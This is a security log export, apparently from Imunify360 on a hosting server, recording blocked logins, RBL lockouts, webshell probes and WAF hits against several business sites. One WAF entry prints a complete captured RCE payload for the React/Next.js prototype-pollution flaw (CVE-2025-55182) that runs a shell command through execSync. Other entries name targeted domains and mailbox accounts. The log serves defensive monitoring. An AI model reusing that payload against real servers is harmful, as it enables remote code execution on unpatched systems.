Jan 16 02:32:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.182 has been locked due to Imunify RBL


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 186.73.52.132
country_id: 3703430
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/autoloader.php||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.182
country_id: 3175395
description:
Jan 16 02:33:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.36.6
country_id: 3469034
description:
Jan 16 02:33:26 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.36.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.77
country_id: 1814991
description:
2026-01-16 02:34:57 dovecot_login authenticator failed for H=(nbpoe) [219.159.100.77]:49628: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.159.100.77
country_id: 1814991
description:
Jan 16 02:34:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.159.100.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.159.100.77
country_id: 1814991
description:
Jan 16 02:35:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.159.100.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.77
country_id: 1814991
description:
2026-01-16 02:35:04 dovecot_login authenticator failed for H=(xmyqg) [219.159.100.77]:49628: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.61.240.6
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/skate/12/386/1262294 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.104.210.105
country_id: 6252001
description:
Jan 16 02:37:03 sv3 pure-ftpd[4116333]: (?@172.104.210.105) [INFO] New connection from 172.104.210.105


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/img/photos/images/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.12.250
country_id: 3469034
description:
Jan 16 02:41:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.12.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.239.84.6
country_id: 3865483
description:
Jan 16 02:44:19 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.239.84.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.231.35.45
country_id: 798544
description:
Jan 16 02:44:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.231.35.45 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 151.80.133.238
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/img/img/demos/img/demos/index.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.185
country_id: 1814991
description:
2026-01-16 02:47:11 dovecot_login authenticator failed for H=(zftbb) [171.110.83.185]:58335: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 02:48:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57412: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.228
country_id: 2510769
description:
Jan 16 02:51:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.228 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.112.208.21
country_id: 3686110
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=8 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.168
country_id: 3865483
description:
Jan 16 02:53:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.107
country_id: 1269750
description:
Jan 16 02:55:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.35.63
country_id: 953987
description:
Jan 16 02:58:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.35.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.224.113.214
country_id: 3469034
description:
Jan 16 02:58:44 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.224.113.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.224.113.214
country_id: 3469034
description:
Jan 16 02:58:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.224.113.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 02:59:08 H=([178.16.53.2]) [178.16.53.2]:51652 F=<info@valet.it> rejected RCPT <mustapa@astlog.com.my>: SPF: 178.16.53.2 is not allowed to send mail from valet.it


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.160
country_id: 3469034
description:
Jan 16 03:00:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.160 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.15.43.103
country_id: 3017382
description:
[2026-01-16 03:01:44 +0800] info [cpaneld] 2.15.43.103 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.212.247.97
country_id: 3469034
description:
[2026-01-16 03:01:48 +0800] info [cpaneld] 177.212.247.97 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.97.79.124
country_id: 2328926
description:
[2026-01-16 03:01:55 +0800] info [cpaneld] 98.97.79.124 - interlinkedumy "GET /login/?login_only=1&user=interlinkedumy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user interlinkedumy (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.28
country_id: 3469034
description:
Jan 16 03:02:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.28 has been locked due to Imunify RBL


plugin: modsec
rule: 77142168
name: IM360 WAF: WordPress YellowPencil Visual CSS Style Editor < 7.2.0 - Privilege Escalation
abuser: 158.220.122.128
country_id: 3017382
domain: inter-link.edu.my
description:
IM360 WAF: WordPress YellowPencil Visual CSS Style Editor < 7.2.0 - Privilege Escalation||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 03:02:06 H=([178.16.53.2]) [178.16.53.2]:63989 F=<info@valet.it> rejected RCPT <inquiries@ktlog.com.my>: SPF: 178.16.53.2 is not allowed to send mail from valet.it


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.125.240.242
country_id: 1733045
description:
[2026-01-16 03:02:11 +0800] info [cpaneld] 27.125.240.242 - int "GET /login/?login_only=1&user=int&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user int (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.4.48
country_id: 2300660
description:
Jan 16 03:02:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.4.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.76.105
country_id: 3469034
description:
Jan 16 03:04:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.76.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.47.252
country_id: 2300660
description:
Jan 16 03:04:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.47.252 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 03:04:25 H=([178.16.53.2]) [178.16.53.2]:57201 F=<info@valet.it> rejected RCPT <fadilah@pspoly.com.my>: SPF: 178.16.53.2 is not allowed to send mail from valet.it


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.47.252
country_id: 2300660
description:
Jan 16 03:05:04 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.47.252 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 03:07:44 H=([178.16.53.2]) [178.16.53.2]:56374 F=<info@valet.it> rejected RCPT <euratech@euratech.com.my>: SPF: 178.16.53.2 is not allowed to send mail from valet.it


plugin: modsec
rule: 77093094
abuser: 167.172.114.215
country_id: 6252001
domain: langkawiconstructions.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo $((41*271))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.66.4
country_id: 3469034
description:
Jan 16 03:07:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.66.4 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.27.93.69
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:03-13.185.27.93.69||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.195.138.52
country_id: 6252001
description:
Jan 16 03:14:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.195.138.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.195.138.52
country_id: 6252001
description:
2026-01-16 03:14:30 dovecot_plain authenticator failed for H=c-98-195-138-52.hsd1.tx.comcast.net (psacept) [98.195.138.52]:45810: 535 Incorrect authentication data (set_id=khaisian.you@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.21
country_id: 241170
description:
Jan 16 03:16:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.227.102.242
country_id: 290557
description:
Jan 16 03:16:31 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.227.102.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 03:16:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57435: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.73.94
country_id: 1269750
description:
2026-01-16 03:16:15 dovecot_login authenticator failed for H=([125.19.196.193]) [182.78.73.94]:46988: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.102.242
country_id: 290557
description:
2026-01-16 03:16:33 dovecot_plain authenticator failed for H=(irchampred) [80.227.102.242]:36789: 535 Incorrect authentication data (set_id=kelvin.kong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.73.94
country_id: 1269750
description:
Jan 16 03:16:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.73.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.249.98.23
country_id: 1814991
description:
Jan 16 03:17:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.249.98.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.249.98.23
country_id: 1814991
description:
2026-01-16 03:17:07 dovecot_login authenticator failed for H=([36.249.98.23]) [36.249.98.23]:58523: 535 Incorrect authentication data (set_id=serene.chin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.142
country_id: 3865483
description:
Jan 16 03:18:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.31.149
country_id: 798544
description:
Jan 16 03:18:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.31.149 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.207.32.39
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:03-19.104.207.32.39||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 90.230.168.26
country_id: 2661886
description:
Jan 16 03:22:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 90.230.168.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.168.26
country_id: 2661886
description:
2026-01-16 03:22:37 dovecot_login authenticator failed for H=90-230-168-26-no600.tbcn.telia.com [90.230.168.26]:47158: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.47.48
country_id: 953987
description:
Jan 16 03:23:27 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.47.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.79.86.54
country_id: 1269750
description:
Jan 16 03:27:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.79.86.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.86.54
country_id: 1269750
description:
2026-01-16 03:27:15 dovecot_login authenticator failed for H=([182.79.86.54]) [182.79.86.54]:37302: 535 Incorrect authentication data (set_id=nicholas@eminent.st)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.11.74
country_id: 798544
description:
Jan 16 03:27:47 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.11.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.11.74
country_id: 798544
description:
Jan 16 03:28:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.11.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.107
country_id: 3469034
description:
Jan 16 03:32:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.140.233.181
country_id: 719819
description:
Jan 16 03:32:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.140.233.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.196.150.132
country_id: 3624060
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/assets/css/custom.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.156.220
country_id: 99237
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/assets/fontawesome/css/font-awesome.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.221.3.46
country_id: 3277605
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/assets/js/counter/jQuerySimpleCounter.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.42.62.163
country_id: 1522867
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/vendor/rs-plugin/css/settings.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.158.169.206
country_id: 3996063
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/assets/miuiconfont/miuiconfont.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.239.39.243
country_id: 3996063
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/assets/js/custom.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.28.188.162
country_id: 3469034
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/assets/js/bxslider/jquery.bxslider.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.110.82.214
country_id: 1814991
description:
Jan 16 03:34:46 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.110.82.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.82.214
country_id: 1814991
description:
2026-01-16 03:34:48 dovecot_login authenticator failed for H=(ucxoc) [171.110.82.214]:52353: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.95
country_id: 3996063
description:
Jan 16 03:35:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.91
country_id: 3175395
description:
Jan 16 03:35:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.110.82.214
country_id: 1814991
description:
Jan 16 03:35:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.110.82.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.82.214
country_id: 1814991
description:
2026-01-16 03:35:07 dovecot_login authenticator failed for H=(clljd) [171.110.82.214]:52353: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.232.165.143
country_id: 798544
description:
Jan 16 03:35:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.232.165.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.246.73.88
country_id: 3277605
description:
Jan 16 03:35:37 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.246.73.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.91
country_id: 3175395
description:
Jan 16 03:36:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.249.91.170
country_id: 248816
domain: www.kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kendek.com/product-detail.php?id=851956 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 64.79.232.36
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:03-40.64.79.232.36||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.165.247
country_id: 3469034
description:
Jan 16 03:41:42 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.165.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.165.247
country_id: 3469034
description:
Jan 16 03:41:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.165.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.112
country_id: 3175395
description:
Jan 16 03:42:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.112 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.200
country_id: 953987
description:
Jan 16 03:44:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.78.89.29
country_id: 298795
description:
Jan 16 03:44:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.78.89.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.225
country_id: 953987
description:
Jan 16 03:44:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.225 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 03:44:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57454: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.225
country_id: 953987
description:
Jan 16 03:44:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.225 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.37.116.70
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:03-45.198.37.116.70||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.167
country_id: 3865483
description:
Jan 16 03:48:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.167 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.250.145.149
country_id: 2542007
description:
[2026-01-16 03:49:20 +0800] info [whostmgrd] 41.250.145.149 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.36.11.237
country_id: 6252001
description:
[2026-01-16 03:49:22 +0800] info [cpaneld] 76.36.11.237 - vcbcommy "GET /login/?login_only=1&user=vcbcommy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vcbcommy (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.37.237
country_id: 2300660
description:
Jan 16 03:48:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.37.237 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.202.52.218
country_id: 289688
description:
[2026-01-16 03:49:14 +0800] info [cpaneld] 176.202.52.218 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.253.183.7
country_id: 1643084
description:
[2026-01-16 03:49:18 +0800] info [cpaneld] 182.253.183.7 - vcb "GET /login/?login_only=1&user=vcb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vcb (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.45.164.141
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=71521532675852 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 167.160.79.18
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:03-52.167.160.79.18||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
